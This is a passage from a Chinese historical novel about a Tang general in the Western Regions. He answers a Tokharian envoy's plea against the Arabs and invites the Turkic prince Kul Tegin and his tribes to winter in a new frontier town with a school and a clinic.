“后来,屈底波畏惧我家将军勇猛无双,把我家将军囚在身边,又威胁他征发军队,为大食前驱,攻打昭武九姓。阿史那都泥利则被赶出了吐火罗首府阿缓城,带着部族子弟在荒野中游荡。” “可我家主人身在敌营,却一日不敢忘记旧日仇恨,尤其是在他目睹了毕国的灭国残相之后”使节说着,忍不住落下泪来:“您或许知道沛肯城,那是河中的明珠,供奉佛教的一座大城,但屈底波攻灭此城之后,竟下令将城中男子皆杀尽” 洛北想起了突骑施牙帐中,那个以自己性命报复乌质勒不出兵之举的年轻商人乔山——任何一个有血性的人目睹此事,都会义愤填膺:“此事我知晓。这么说,阿史那都泥利是不愿出兵了?” “是。”使节颔首:“今年屈底波在撒马尔罕城外遭受了挫败,他屡攻而不得,最后不得已与城内的粟特王公们议和,以贡赋换取了和平。如今他已经退出河中,回到他乌浒水以西的木鹿城去过冬了。我家主人便借机逃了出来,他想招兵买马,再战屈底波。但都泥利觉得,无有大唐或是突厥的帮助,吐火罗不是他们的对手。” 洛北道:“这样的思虑,也不无道理。” “可是,大食人残酷,横征暴敛,吐火罗百姓早已苦不堪言。”使节道:“将军,我国早在高宗时便受封月氏都督府,统辖乌浒水南北的广袤土地。首任月氏都督阿史那乌湿波便有汉人血统。大唐西征西突厥时,我国率先投唐,争相犒军。裴行俭将军西征时,我国也出兵相助将军,大唐若能发兵相助,我家主人愿以一城财富相赠。” 他越说越激动,到最后竟是有了哭腔。 张孝嵩沉默片刻,把他从地上扶了起来:“月氏都督府是我大唐羁縻的都督府,你的主人和都泥利也受过大唐册封,大唐是不会对此事坐视不管的。” 使节的眼睛亮了:“真的?” “只是,到底如何进行,还要容我同洛将军商量一下。”张孝嵩看了一眼洛北。 洛北开口:“不错,你先下去休息吧,明日我们会给你答复的。” 送走了使节,哥舒亶望了一眼桌面:“两位好闲情,在草原的帐篷里手谈。” “我还真以为洛将军只是来草原察查各部过冬的情况呢。”张孝嵩丢开棋子,自嘲似的笑笑:“谁想到,他是做了个局在等我。” 洛北计谋“得逞”,也似乎没有那么在意那棋盘上的输赢,只笑道:“我虽有心出兵,但没有你这位监军御史随行,总是名不正言不顺么。” 张孝嵩道:“大食东侵昭武九姓的事情,我已经知晓不少。这吐火罗又是怎么回事?” “这要说到一位西突厥雄主,就是大唐法师玄奘在《大唐西域记》中提到的统叶护可汗。”洛北道:“统叶护可汗放弃与东突厥争夺大汗之位,转而经略河中一带。他的儿子达度设南下征服了吐火罗,称‘吐火罗叶护’,自此开始统治。” “达度设去世。其子阿史那乌湿波继位。便如刚刚的使节所说,阿史那乌湿波的母亲是高昌国王鞠文泰的族亲,他自诩有汉人血统,所以在大唐与东西突厥的历次争端之中,都坚定地站在了大唐这边。所以大唐后来册封他为月氏都督府大都督,统辖吐火罗诸地。” “只是后来大食西征,阿史那乌湿波亡于战阵之中。只有他收留的两位波斯王子,卑路斯和阿罗憾东逃大唐。” 张孝嵩给他倒了杯热茶润润喉咙:“我知道了,所以后来裴将军以送卑路斯王子之名西征,最后便是到了吐火罗。” “不错,这位使节便是当时裴将军西征之时留下的士兵后人。”洛北道:“至于现任的吐火罗叶护阿史那都泥利,他是阿史那乌湿波的儿子。因阿史那乌湿波在吐火罗极有号召力,所以捺塞以他为君,自立为国相。” 哥舒亶笑道:“我突厥习俗,荣战死,轻病亡。身没战阵,也算是一位‘叶护’最好的结局之一了。” “我刚刚问使节时,他突然变色,也是因为这个。”洛北道:“虽然阿史那都泥利暗弱无能,但到底也是统叶护可汗的子孙,是我的同族兄弟。他怕我骤然发难,追究捺塞一个‘欺君’的大罪。” 张孝嵩和哥舒亶都笑了。 “所以将军才把张御史请到这里来。”哥舒亶道:“他们国内有将领,有君主,有军队,要帮助他们复国,重置我大唐的月氏都督府,此时是最好的时机。若拖个一年半载,拖到捺塞去世或战死,又或者都泥利再度臣服大食即使大唐的力量重返吐火罗,也如无根之木,无源之水了。” “纵横大局,临阵机变,决于战阵的事,我什么时候质疑过洛将军的判断。”张孝嵩笑道:“我这就拟奏,向朝廷请命发兵。” “不,现在还不是时候。”洛北走到他身边,从黑棋棋盅中拿起一枚棋子,落在了棋盘上——这是极富变化的一棋,上下黑棋连绵成片,一条大龙瞬间成型,白棋再无可杀之机了。 “妙手!”张孝嵩忍不住击节赞叹。 哥舒亶好奇地问道:“特勤的意思是?” “为了避免陷入棋盘上的困境,我还有一件事情要做。”洛北缓缓闭上眼:“这是最重要也是最难的一步。” 第172章 “如何?难道你会在酒里下毒吗?” 连阴数日的天空上, 汇聚着沉甸甸的乌云。狂风如千军万马自四面奔腾而来,像是一头愤怒的巨兽,它呼啸着掠过草原, 卷起枯草与尘土。 阙特勤骑马掠过连绵的牧民帐篷, 四下里到处都是为了暴风雪做准备的人。收集干草、赶牛入圈、捡拾牛粪、加固帐篷…… 自阿史那匍俱在西域大败而归,默啜就把他换防来了西域对抗洛北。他虽用心经营,但败亡的士兵不会一夕之间长出来。他手下如今依旧多的是老弱妇孺,干起这样的重活吃力得紧。 他已把自己手边的亲兵都散了出去帮忙。即便如此,暴风雪一过, 这些牧民的牛羊也不知还能余下多少。 “特勤!”几个亲兵纵马从太阳落下的方向奔来,脸上带着显而易见的喜色:“好消息,好消息。西面的草原上来了群牧民, 他们当中多的是青壮的小伙子,正在帮咱们的牧民们干活呢。” “青壮的小伙子?”阙特勤皱眉,据他所知, 这片草原能组织得起这样一支队伍的人可不多……难道他那位叔叔会有这么好心, 带兵来帮助自己的部族过冬? 亲兵跳下马,低身向阙特勤行了一个突厥大礼:“我们询问他们来历,他们不说,只叫伯克您在帐中准备好酒菜, 他们忙完了会来拜访伯克的。” 阙特勤两道浓眉扭在了一起,他神情复杂地向西看了一眼, 才纵马回大帐去了。 天气昏沉,大帐之中也黑漆漆的,只有帐中的炉子发着暗弱的光。阙特勤命人将四处的牛油大灯都点起来: “既然人家是来帮我们的忙, 就按照招待贵客的礼节准备,杀几只羊来, 热热地烧了端上来。” 他在突厥国内已有积威,一声令下,莫敢不从。不一会儿,锦缎的坐团拿了出来,热热的奶茶和炒米也端在了桌子上,大帐内飘散着温暖的香气。 “那个酒不好。”阙特勤叫住那个端酒的年轻内侍,“换我柜子里那个,默啜大汗给的那只金瓶酒。” 那个年轻内侍有些惊讶:“伯克,这是大汗赐给您的庆功酒。咱们只在击败契丹那晚喝过一次,大汗不是说,等您击败了唐将洛北再与您饮此……” 他的声音被突然站起身的阙特勤打断。阙特勤不耐烦地喊他的近侍管家:“叵罗,叵罗!把这小子赶出去!换个人来!” 名叫“叵罗”的近侍是个上了年纪的老人,他是阙特勤的父亲在西域捡到的波斯人,后来骨笃禄去世,他便随侍在阙特勤身边。 此刻叵罗躬身进了大帐,见阙特勤发话,也不多问,欠身道:“伯克,您想把这小子赶到哪里去?” “哪里都行,就是离我的大帐远远的。”阙特勤道,“连话都听不懂的人,我不敢要他在我身边伺候!” 叵罗微微欠身,把这个年轻内侍拉出了帐外。冰碴子和碎雪一道打在他们脸上——这是要下雪的前兆。 风雪果然紧起来了,呼呼的风声穿过帐篷,雪花打在帐篷上,像是一颗颗石子。阙特勤终于坐不住了,披起外袍就要出门,一掀帘帐,正与几个带着有檐高帽的人打了个照面。 为首者见是他,轻轻一笑,金色的眼眸在风雪之中熠熠生辉:“有劳。” 真的见到这位昔日旧友和兄弟带兵前来,阙特勤的心中不禁泛起一阵苦意,他几乎招架不住那英俊面容上的笑容,后退了半步。 洛北借着这半步的距离进了大帐,但见四周灯火通明,佳肴美酒摆了一桌,脸上笑容更盛。他坐到主座左侧的主宾位置,抓起金瓶便往自己杯中倒了一杯: “色如琥珀,好酒。” “乌特!”阙特勤这才从震惊中醒悟过来,一边打手势把随行洛北的几人都让进大帐,一边做贼似的向外望了望,确认没有人在这风雪夜中监视他的大帐,才放下心,“你疯了不成?你知不知道默啜大汗悬赏两万黄金要你的脑袋!你怎么敢带着这点人马到这里来?” 洛北哈哈大笑:“如何?难道你会在酒里下毒吗?”他端起酒杯,一饮而尽,“果然好酒。” 阙特勤见他肆意如此,知道这位摸准了他脾气的挚友是劝不住的,只得无可奈何地叹了口气,重新坐回主座上:“你的兵马呢?可有地方安置?” “你的牧民们把他们留在家里招待了。”洛北道,“我这次带来的骑兵,大都本就是生活在此地的各部子弟,与你部中儿女沾亲带故的多。他们刚来帮忙,就有不少人过来辨认亲友。” 阙特勤也不知该说他心大,还是说他自信:“你不怕他们找到了亲友,就留在我麾下效力?” “他们不会。”洛北摇了摇头,“便是会,于我而言也无甚损失……毕竟,三年之内,你是不会提兵与我开战的。” 阙特勤又一次僵在当场,他望向洛北,想知道他是怎么作出的判断,却见洛北已经怡然自得地拿起腰间的金刀削起面前的羊排上的羊肉,还招呼随行而来的几个人: “碎叶城里也难得有这样新鲜的羊肉,孝嵩,哥舒亶,你们吃些吧。” 阙特勤忍不住双手掩面:“有时候我真怀疑传闻是真的……”他揉搓了几下面容,使得自己再度清醒起来:“说吧,祆神化身的伟大特勤,你到我这简陋的大帐中来,到底有什么目的?” “白灾是草原牧民的噩梦,我手下这些士兵记挂家中父老,我就带他们来看看……还有。” 他刻意一顿,引得阙特勤的目光落在他身上,又抬头逼阙特勤同他对视: “我在布彦图河下游的一个地方修筑了些房屋城墙,可以躲避风雪,想邀请你手下的部族子弟去那里过冬,如何?” 张孝嵩本在埋头喝一碗热热的奶茶。大风大雪,让他这个久经战阵的英雄也觉得浑身发冷,需要吃些暖和的东西。但他听到这话时,立刻抬起头来——这件事情他并不知道,洛北也从未和朝廷奏报! 哥舒亶在一边冷声冷气地道:“阙特勤,我们只欢迎手无寸铁的老弱妇孺前来避风雪,你的那些部下想进城,得把兵刃交上来!” 阙特勤并不理会哥舒亶,只看向洛北: “乌特,你如你所知的那样了解我,我也如我所知的那样了解你。你应当是仿照凉州城的模样,外设大城墙,内留空地用于畜牧……我的部族入住城中,定会对城中房屋补以修缮,等到冬天一过,我的部族离开那座城市时,你就会把城池扩建,变成瓮城,变成留在我势力范围内的一颗钉子。” 他逻辑清晰如此,张孝嵩也忍不住感怀。他将手中的空碗放下,专心致志地听他们说话。 洛北满不在意地低头拿起金瓶,又往酒杯中倒了一杯酒:“或许吧,阙特勤,或许我会这么做,但那至少是明年春天的事情了。” 他将杯中酒一饮而尽:“可现在,我们这些草原上的人最需要解决的问题是度过这个冬天。” “你的意思是……这场雪还会下很久?”阙特勤忍不住问,从前洛北在做书记官的时候,就对各类天象了解得很准确。 洛北微微颔首:“很久,这次‘白灾’或许不会亚于贞观二年的那一场……白灾之后是饥荒,疫病,你我都是在草原上长大的人,应当知道这意味着什么。” 意味着草原上的生存空间会被空前挤占,草原上的牧民会减少…… 阙特勤久久地没有答话,答应洛北的建议,无异于饮鸩止渴,但不答应?不答应便意味着看自己治下的牧民去死。 他忍不住向上望去,似乎想透过厚重的帐顶看到风雪连绵的天空,天命,为什么站在了阿史那乌特的那一边? 洛北也不急着要他的回答,他目光灼灼地望着自己的这位挚友,期待他做出一个他意料之中的回答。 “我可以答应你。”一阵沉默之后,阙特勤终于开口:“你的条件是什么?” “我的条件很简单,一个是哥舒亶刚刚说的,不许携带兵刃进入城中。”洛北道。 “想来你那城市也没有多大的规模。”阙特勤道,“我会命青壮男子扎帐城下,看护牛羊。” 洛北道:“好。第二条是,哥舒部、弓月部等部也有百姓在城中过冬,倘若你我手下各部有互相婚配之事,你不许阻拦。” “我还没有闲到那个地步。”阙特勤道。 “第三条是,你必须随我同行。” “特勤,这可太危险了。”出人意料的是,没等阙特勤开口,哥舒亶抢先起身以汉话反对,“当年在灵州,若不是这个家伙劫持了你,也不会侥幸从我们军中逃脱。你现在让他随行在你身边,万一他要是想图谋不轨……” 洛北回头对哥舒亶做了个口型:“不必担忧。” “这怎么可能不担忧!”哥舒亶就差拍桌子了,“万一他有心刺王杀驾,大唐在西域的经营就会毁于一旦,您……” “我听得懂汉话。”阙特勤见他越说越激动,终于忍不住出了声——出人意料的是,他的汉话圆融易懂,口音也不重。 哥舒亶被当场抓包,脸上也露出尴尬神色,但他不肯退让,只坐下道:“反正我是不会同意的。” 第173章 “我不是要避免和阙特勤的战争,我是要阙特勤跟我一起去打大食!” 阙特勤冷笑一声:“哥舒亶, 你是真傻还是装傻。你家特勤让我与他同行,为的就是把我看住,不给我调兵遣将的机会。你现在不同意, 就是败坏他整盘的谋划。这个责任, 你担得起吗?” 哥舒亶倒也不是没想过这个可能,只是眼前的人是敌军主将,又素以悍勇著称,他怎么能拿洛北的性命去冒这个险:“阿史那阙,手下败将, 也敢在我面前大言炎炎,有本事,你就发兵好了!” “够了。” 洛北喝了一声, 打断了他们这番口舌之争: “你们俩要较个高下,尽可以去练武场上比,不要在暴风雪来临之前拿着自己部族的儿女开这样的玩笑。” 他把一个好大的帽子扣到了两人头上。阙特勤只得偃旗息鼓:“我绝无此意。我可以答应你的条件。” 哥舒亶说不过洛北, 只得狠狠叹了口气, 别过脸在一边,目光却正好落在张孝嵩脸上:“张御史,你说句话啊?” 张孝嵩和洛北相处已久,知道他的性格, 此刻哥舒亶和阙特勤争执不休,他却一派温文尔雅地坐在一边, 便知道洛北已有筹谋,此刻他不便开口打断,但也不能坐视洛北就这样收留一位敌军大将: “洛将军, 哥舒将军的担忧也有几分道理。你私自收留一位敌军大将和他们的部族,若是此事落到朝廷……” 洛北端起酒杯, 唇边带笑:“孝嵩的意思是,此事一定会落到朝廷?” 张孝嵩顿时吃瘪,如今安西都护府是阿史那献及洛北父子坐镇,他不能冒着西域大乱的风险骤然上奏洛北一个“勾结敌军”的罪名。 要是真把这对本就姓“阿史那”的父子逼急了,当场叛唐自立,西域繁华毁于一旦,他张孝嵩就是千古罪人: “我没有这样说!” “既然如此,想必诸位都没有异议了。” 洛北心满意足地起身,掀开帐帘,外面的风雪已经停了,薄薄的一层雪花积在枯草之上,被月光一照,就泛出银白的光泽。 “明日会是个晴天,明日一早,我们启程向布彦图河进发。” 诚如洛北所言,第二日一早,连日阴沉的天气放晴了。湛蓝的天空上一点云朵也没有,温暖的阳光落在众人身上,晒得新收的帐篷布暖暖的。 成群结队的骆驼、马队与牛羊再度在草原上起行。他们向西而行,眼前被日光染得如同光辉熠熠的金山。 洛北照例策马在中后段随行,偶尔挥动马鞭,驱赶几匹离群太远的骏马。 “我真不明白。”张孝嵩打马走到他旁边:“草原上牧民来来去去,游牧不停,你为什么还要在这里修城?难道真像阙特勤说的那样,你打算在此驻军?” “驻军的事情,我确有打算。”洛北坦然道:“孝嵩,你去了就知道,那里濒临布彦图河,水利丰富,牧草繁茂,是个理想的屯兵之所。不过……” “不过什么?”张孝嵩问。 “不过,修筑定居点,也是有必要的。”洛北轻声道:“孝嵩,你可曾想过,自汉以来,北逃入虏庭的中原百姓、大臣不在少数,为什么草原之上还是奉行了那一套老制度。而孝文帝想要革除风俗,就必须把都城从平城迁往洛阳?” 张孝嵩沉吟片刻:“你是说……夷狄入华夏则华夏之?” “这话王翰也说过,草原上游牧的生活,决定了牧民的思维方式和农民不同。说个最简单的例子吧,如若家家牧民每一日都在迁徙中寻找合适的牧场,你叫他们的孩子如何有时间读书识礼?更不要说像大唐那样聚集在县学之内发蒙了。” 他见张孝嵩正在沉思,便继续说了下去: “所以,去年一年,我调动各部,在草原上修建了大大小小数十个定居点。平日里他们还是游牧,只是到了冬天这样牧场较为固定的时候,可以到定居点来休息。这些定居点也作为一些牧医的驻扎之所。将来,还会有商人、老师……” 望着洛北的侃侃而谈,张孝嵩意识到,洛北的野心并不止于什么“大将军”的官衔或是“可汗”、“特勤”的封号,他不仅仅想要征服这片草原,更想要改变这里的生活方式,让这里的人民融入中原的文化之中。这样的举措,无疑是一项浩大的工程,需要的不仅仅是武力,更多的是智慧和耐心。 “洛将军,你的宏图大志,我张孝嵩今日算是真正见识了。”张孝嵩感慨道,“但是,这样的改变,恐怕不是一朝一夕能够完成的。” 洛北微微一笑,眼中闪烁着坚定的光芒:“我当然知道,这需要时间,需要几代人的努力。但是,只要我们播下了种子,总会有收获的一天。” 张孝嵩忍不住笑了,他从长安来,如今那里风起云涌,多股势力上下争锋,多的是夸夸其谈的人,多的是自诩清贵,不肯俯身现实的人,多的是走歪门邪道,行贿受贿的人……傲然清正如张孝嵩,多少对大唐的现实有些失望。 可等来到了草原上,再度见到洛北这样专心实事,筚路蓝缕的人,他忽而又觉得大唐的未来灿如朝阳。 “这就是你为什么要费这么大的力气拉拢阙特勤的缘故?”张孝嵩问。 “是。”洛北望着远处的天地相接之处,一座城池的轮廓出现在地平线上,“这些定居点如今只是初见雏形,还未来得及加固修筑,只要一场大战,就会把它们化为乌有。” 张孝嵩颔首,颇为感怀地道:“而且还会带累大唐的信誉破产,大唐劝他们在夏季和秋季定居,却无法保证他们的安全……” “孝嵩如今极懂牧民了,我看解都护合该把你要去当副手,好过他和郭虔瓘相看两相厌。”洛北笑道,“至于阙特勤……我的担忧比你还多一层。” “哦?”张孝嵩好奇道:“你担心他会借机发兵吗?” 洛北摇了摇头:“虽说战场上阴谋诡计、勾心斗角是常态,但战场之外,还是有基本的秩序和道德在。阙特勤是个坦荡光明的血性汉子,他已经向我承诺,就绝不会轻动刀兵。我的担忧是……我西征大食之后呢?” 西征大食之后?张孝嵩反应过来了——西征昭武九姓路途并不算近,洛北又抱着一劳永逸的想法,要把大食人赶出昭武九姓,乃至逐出波斯故地。 这就意味着除了手头亲军之外,他还会征调各部的军队随行,到了那个时候,空荡荡的草原上只会有阙特勤的军队存在! “可不要小看阙特勤。”洛北缓缓地道,“若我们真的露出破绽,他是一定会出手的。” “我明白你的想法了。”张孝嵩长长地叹了口气:“施以恩德,互为婚姻,确实是避免战争的好手段,可是……” “孝嵩。”洛北开口打断了他的犹豫,“我不是要避免和阙特勤的战争,我是要阙特勤跟我一起去打大食!” 直到入了那名为“碧水城”的新城之中,这句话还在张孝嵩耳中回荡。他的第一反应是洛北疯了,阙特勤——堂堂默啜大汗的亲侄子,突厥复国之君阿史那骨笃禄的小儿子,他凭什么响应大唐将军的征召? 但第二个想法却是“洛北说的不错,要避免阙特勤在主力西进时突然发难,这是最好的办法。” “我说孝嵩,你想什么呢,那么入神?”他太过沉浸在自己的思维之中,没注意到他同洛北已经停在了一处建筑之前,王翰立在下马石前,一手拿着个酒壶,一手拿着一卷文稿,正笑着望着他。 “王翰?!”张孝嵩跳下马,不可置信地看着多日不见的好友,“你怎么在这里?你们的文会开完了?” “开完了,这次文会可是收获颇丰啊。”王翰一把搂过他的脖子,“可惜孝嵩你不在,若你在,一定也与我们一道针砭时弊,挥斥方遒了。” 张孝嵩苦笑一声,回头望向洛北,无声地向他道了声“谢谢”: 苏颋、王翰乃至褚沅等都在文坛有名,他们针砭时弊,还可以说是发议论。可同样的话要是从他张孝嵩或是洛北口中说出,就少不得被有心之人大做文章,说他俩“指斥乘舆”,狠狠参他们一本。 洛北摆了摆手,示意他别放在心上:“哦?你们议出了什么主张?” 王翰得意道:“这还是褚郡君的倡议,我们同苏舍人和安西的士人们几日讨论之后议出来的主张。我们主张:实习、实讲、实行、实用之学!” 张孝嵩是高中榜眼的天子门生,听到这提法,也觉得蔚为有趣:“哦?王翰兄不要吝啬,快把你们的主张展开说说!” 王翰笑道:“这是自然,只是天寒露重,我们就不要在门口谈话了。” 他打了个手势,带着众人进入建筑之中——这里的建筑模样与碎叶文馆有些类似,只是没有它那样宏伟的藏经楼、蓝穹顶。 几个孩子打闹着从他们身边经过,看到王翰,又低着头跑了过去。 “天寿!你跑慢些,仔细滑着!”王翰忙高声叫他,但那孩子还是一溜烟地没影了:“这些调皮孩子,跟着我上了五天蒙学,总算学了些东西,懂得害怕老师了。” 第174章 “知识和真理,难道也分汉人的和突厥人的吗?!” 王翰说起这些事情来, 双目放光,他说到“文质并重”的理念,说到“文以载道”的理想, 说到“载诸空言, 不如见诸行事”的实用主义,还说到“生存一日,当为民办事一日”的坚决,慷慨激昂,滔滔不绝, 甚至没有注意到队末跟上来的哥舒亶和阙特勤。 众人谁也没有打断他的意思,都随着他边走边听,他们路过遍植葡萄藤的游廊, 路过摆设着经卷文书的书房,路过窗明几净的教室,王翰向里望了望, 原本几个坐在末尾交头接耳的孩子立刻坐正, 拿袖子掩住了手上的玩具。 王翰打开门进去:“喂,你们俩,做什么呢?” 那两孩子都认识他,立刻站起身, 老实地让王翰从手上拿走一只木雕。那木雕雕得栩栩如生,正是一只昂扬的骏马。 “这是做什么?”王翰厉声问道。 “这这。”那孩子还没学几天汉话, 几度要用汉话表达自己,却都卡在喉咙里,最后他干脆发狠地把王翰一推, “我不要读你们汉人的书了!” 王翰一下子还没反应过来,被张孝嵩一把扶住才气得急喘两声。洛北拍拍他的肩, 不远处哥舒亶已经冲了出去,把那孩子像个小鸡仔似的拎起来。 他是久经沙场的悍将,那孩子左挣右挣,也没能挣出他的掌控,左踢右踢地大哭起来:“你们欺负我,你们都欺负我,我不要读书了,我不要读你们汉人的书了!” 哥舒亶拎着他的衣领,厉声道:“胡说什么?!你是哪部的子弟!” “我是阿史那家族的白狼子孙,你算什么东西,也敢教训我。”不提此事还好,一提此事,那孩子立刻昂起胸膛:“我们生来就要统治草原和大地,你” 他未完的话立刻被一声重重的巴掌声打断,众人错愕地望过去,发现此时上前的竟然是一直半抱着手臂站在最后的阙特勤。 阙特勤指着他的鼻子,厉声以突厥话喝道:“知识和真理,难道也分汉人的和突厥人的吗?!” 他说话低沉有力,自有一股不容置疑的气势在,那孩子被他的气势震慑下去,哭声渐渐小了:“突厥人的真理就是去草原上骑马、射箭,我不要坐在这里学这些难懂的汉文了。” “谁告诉你突厥人的真理就是骑马射箭?”阙特勤道:“你是阿史那家族的子孙,应当知道,我们曾经是为柔然打铁的奴隶,一直被柔然人迫害。我们之所以能够推翻柔然的统治,成为草原的主人,就是因为我们有智慧,我们懂得合作,懂得学习。你现在连汉文都不愿意学,还敢自称是白狼的子孙,如果你是我的子侄,我马上就请你吃一顿鞭子!” 他前段娓娓道来,后段语气急转直下,那孩子被他吓得缩了缩脖子:“我” “你什么?”洛北从他身后走过来,示意哥舒亶松开这孩子的领子:“草原上的雄鹰想要飞翔,需要一双有力的翅膀。而我们的翅膀一边是武力和勇气,一边是知识和智慧。两者兼具,才能飞得更远,飞得更高。” 那孩子讪讪地应了,低头绞着手指,眼神中的嚣张气焰渐渐消除,洛北站起身,转身对王翰道:“王翰兄,对师不敬,该当如何?” 王翰已经反应了过来,他低头想了想:“根据校规,应当罚他二十下戒尺。” “好。”洛北打了个手势,示意台上的老师下来把这孩子领到台上。 那老师本来就年轻,应当是附近部族的年轻子弟,见这么一群人已是有些懵了,洛北几度示意,他都岿然不动。 洛北只得自己把这孩子拉到讲台上,对一众学生道:“按照校规,不敬师长应当打二十下戒尺,现在我让老师来罚他,你们有没有人有异议?” 台下学生形态各异,几个孩子萎靡不振,还有几个瘦小孩子的眼中甚至冒了光。洛北将他们的神情收入眼底,一字不发,只把一根戒尺交到老师手中。 那寸把的戒尺便朝那孩子的手心抽去。下头一众孩子的目光都静静地望着。很快,便有人喊了起来:“十一,十二!” “十五、十六!二十!”待到第二十下,这孩子的手已经肿了。下头的学生顿时喧闹起来,见他走回座位,有人推推他,有人拍拍他,还有人作势要伸腿绊他。 “好了。”洛北轻声喊了一句,又扫了一眼教室,再度让他们安静下来:“我不愿意多说,耽误你们上课的时间。今天的事情,我希望是一个教训。我们在这里学习,不仅仅是为了自己,也是为了我们的族人,为了我们的未来。不尊重师长,不珍惜学习的机会,就是不尊重自己,不尊重我们的未来。” 他停顿了一下,让这些话在孩子们心中慢慢沉淀。然后,他转向那个受罚的孩子,语气柔和了一些:“你受罚了,但这并不意味着你是一个坏孩子。每个人都会犯错,重要的是要从错误中学习,变得更强。下课之后,请老师带着你去处理伤口。” 说罢,他后退几步,走出教室。教室中重新传来朗朗书声。 见此情景,张孝嵩微微叹了口气:“有教无类,因材施教,这几句话说起来简单,做起来可真难啊。” 洛北道:“王翰兄,我看,有必要的话还是让这孩子的家里人到这里来一趟。有些事情,不能光靠在学校里的一个冬天解决。” 王翰挠了挠头:“我记得开学的时候见过他家里人,他家里情况不好,父亲病死了,只有一个母亲和哥哥。母亲和哥哥算是砸锅卖铁地送他来读书的。怎么他就不领情呢?” “这孩子才五六岁,不懂事儿也是正常。”哥舒亶道:“我小的时候,也是这样看不惯天看不惯地的。后来吃了苦头,才懂事儿起来。比如这孩子吧,等他的牛羊生了病,他却看不懂牧医的方子的时候,他就知道为什么得学汉字了。” 他这话说得众人都笑了起来,那点子阴翳也一扫而空。王翰这会儿才注意到刚刚出手的新面孔,见他面宽额阔,鼻梁高耸,容貌英武,心下好奇: “对了,这位将军是?刚刚你出手可太快了,何必如此?对着孩子,咱们还是要以教育为主,上来就打,这是学校的样子么?” 阙特勤没想到自己还要挨教训,下意识地转头去看洛北:“乌特,你可得给我评评理啊!” “这倒怪不得他。”洛北只得出来打了圆场:“算起来,这孩子真是他部族的子侄。他算是以部族长辈的身份管教晚辈,不算逾矩吧?” “啊?”王翰更加好奇:“将军也姓阿史那?” 阙特勤颔首道:“我是你们特勤的族人,从灵州来的。现下暂代他的卫队长一职,王先生就叫我阿阙好了。” “是。”洛北不愿王翰对阙特勤的身份多作追问:“我让巴彦将军暂代此地镇守使职务,临时拉了阿阙来做这个壮丁。” 哥舒亶在他身后和张孝嵩默默对视了一眼——拉敌军主将来当自己的卫队长,亏得他洛北想得出这个借口! 好在王翰不如他们精通军事,闻言知晓,也就不问,转而给他们介绍起学校设置的课程来。 上半天逛完学校,张孝嵩便自告奋勇要留下来看看学堂的事。哥舒亶也辞行去了城外看护各部。 只留下洛北成了那个空闲的人,下午无事,他便带着阙特勤在城中转悠。 碧水城新建,城中却已有了商家和百姓,牧人和商人在城郊的榷场交易牛马,得了银钱,便入城中来买些茶叶、盐巴一类的生活必需品。 人最多的还要数医馆和浴场前。医馆前的队伍恨不得排出二里开外。人人是神色焦急,各自以突厥话低声地交头接耳什么。两个一身铠甲的士兵守在一中一尾,维持着队伍稳定不乱。 “医馆和其他不同。”洛北低声道:“来这里的多是身有不适的,队伍越排越长,难免心有烦躁,所以我让巴彦派兵来维持秩序。”他话音还未落,从街上冲过来一个抱着孩子的年轻妇女,眼泪把防风的头巾都打湿了:“救救孩子,救救我的孩子。” 她哭得震天响,很快就从医馆内冲出两个青衣打扮的少年少女,一个少年试了试她孩子额头上的温度,当机立断道:“走,去医馆里!” “凭什么先救她的孩子,不救我的孩子!”队伍中有个拉着孩子的母亲,高声以突厥话喊道。 那少女转过头来,以一串流利的突厥话答她:“这孩子身上这样热,又已经晕过去了,再不救他,立马就会死的。你家的孩子只是牙齿疼,等一会儿也没什么大碍。” 那母亲抬头还要说什么,那两个士兵已经巡逻了过来,她便低头不再说话了。 “还有小姑娘做医者?”阙特勤问。 洛北点了点头:“有些姑娘家生了病,不敢见外边的男人,更不敢把自己的病向外边的男人说。有女子行医,对她们来说会容易得多。” 阙特勤点头应了,只四处打量着这繁华的小城:“我看城中汉人不多,倒是突厥人和一些杂胡来得多些。” “这地方离中原腹地毕竟还是太远了。”洛北道:“自前年秋日,大唐朝廷发下律例,允许开边移民以来,关中、山东的百姓,迫于饥荒,纷纷西逃。不过大部分还是去了疏勒、于阗、龟兹等地,能到碎叶城来,又愿意翻越金山,迁移来此的就更少了。” “那你还在这里办学堂、建医馆?”阙特勤皱了皱眉:“费了这么大的劲儿,一到春天,牧人们一走,这座城就会空一半。” 第175章 “草原上风云变幻,可汗们来了又走,可大唐始终在那里。” 洛北微微一笑, 目光虚虚地望着远方白雪皑皑的金山: “是,他们或许会走,或许会把孩子留在这里接受教育, 或许会把老弱妇孺留下来, 或许会留下来参加春耕——但碧水城不会变,学堂和医馆不会变,城外的榷场和农田不会变,有了这些东西,这里就会一直繁华下去。” 阙特勤笑了笑, 脸上神情复杂:“大唐的朝廷允许你这样做吗?” “我和父亲这样姓阿史那的突厥王族能代大唐看守西疆,李多祚、沙吒忠义这样的契丹贵胄能出外领兵,内守宫禁, 还有高句丽人、粟特人”洛北笑道:“若有机会,你当去长安看看。” “或许吧。”阙特勤摇了摇头,不置可否地回答道, “晚上呢?城中可有宵禁否?” “有。” 夜幕一落, 城中各道上就安静了下来。唯有各家酒肆、客栈依旧灯火明亮,有人欣赏歌舞,有人约了三五好友浅酌,还有人摊开了桌子打起叶子牌 洛北同阙特勤一同泡在客栈主人刻意留出的私人汤泉之中, 各自百无聊赖地望着夜空。他们处在半山之上,四周是轻薄的围幕, 漫天星斗下,山下的歌舞之声远远地飘上来。在这样的地方待着,浑身被热腾腾的泉水流过, 城外的冰雪和草原的艰苦,好像都离人很远很远了。 “我也就能要到这点特权。”洛北笑道:“这块地方是风景最好, 最安静的。来招待你这位客人,最合适不过。” 阙特勤哈哈大笑:“不是说好了我当随从的么。何必如此?”他顿一顿,闭上眼睛,放任自己靠在青石堆砌的池壁上:“不过,今日我算是长了见识。两三年内,能有如此之多的成就,真是了不起。治国安民,我们不如你。” “算不上是我自己的成就。”洛北轻轻叹了口气,热腾腾的汤泉把他的脸熏得有点发红:“我之所以能在此地有所建树,归根究底,是我背后有大唐,有大唐的百姓,有大唐的技术,还有大唐的商税” “我知道你想说什么,乌特。”阙特勤不是草木,听着洛北这样明示暗示,也知道是到了自己表态的时候:“草原上风云变幻,可汗们来了又走,可大唐始终在那里。但现在,至少现在,我不能答应你什么。” 洛北摇了摇头:“如今汗国掌权的还是默啜大汗,我也没有指望你答应我什么。我只希望这样的繁华太平,不要被兵戈毁于一旦。” 阙特勤笑了:“你也是带过兵,了解汗国内情的人,应当知道,阿史那匍俱的五万大军或死或逃,六年之内,我都绝无西征的胜算。除非” “除非什么?” “除非你昏了头,或是我昏了头。”阙特勤笑道:“否则,我可没兴趣在你的赫赫战功上多添一笔。” 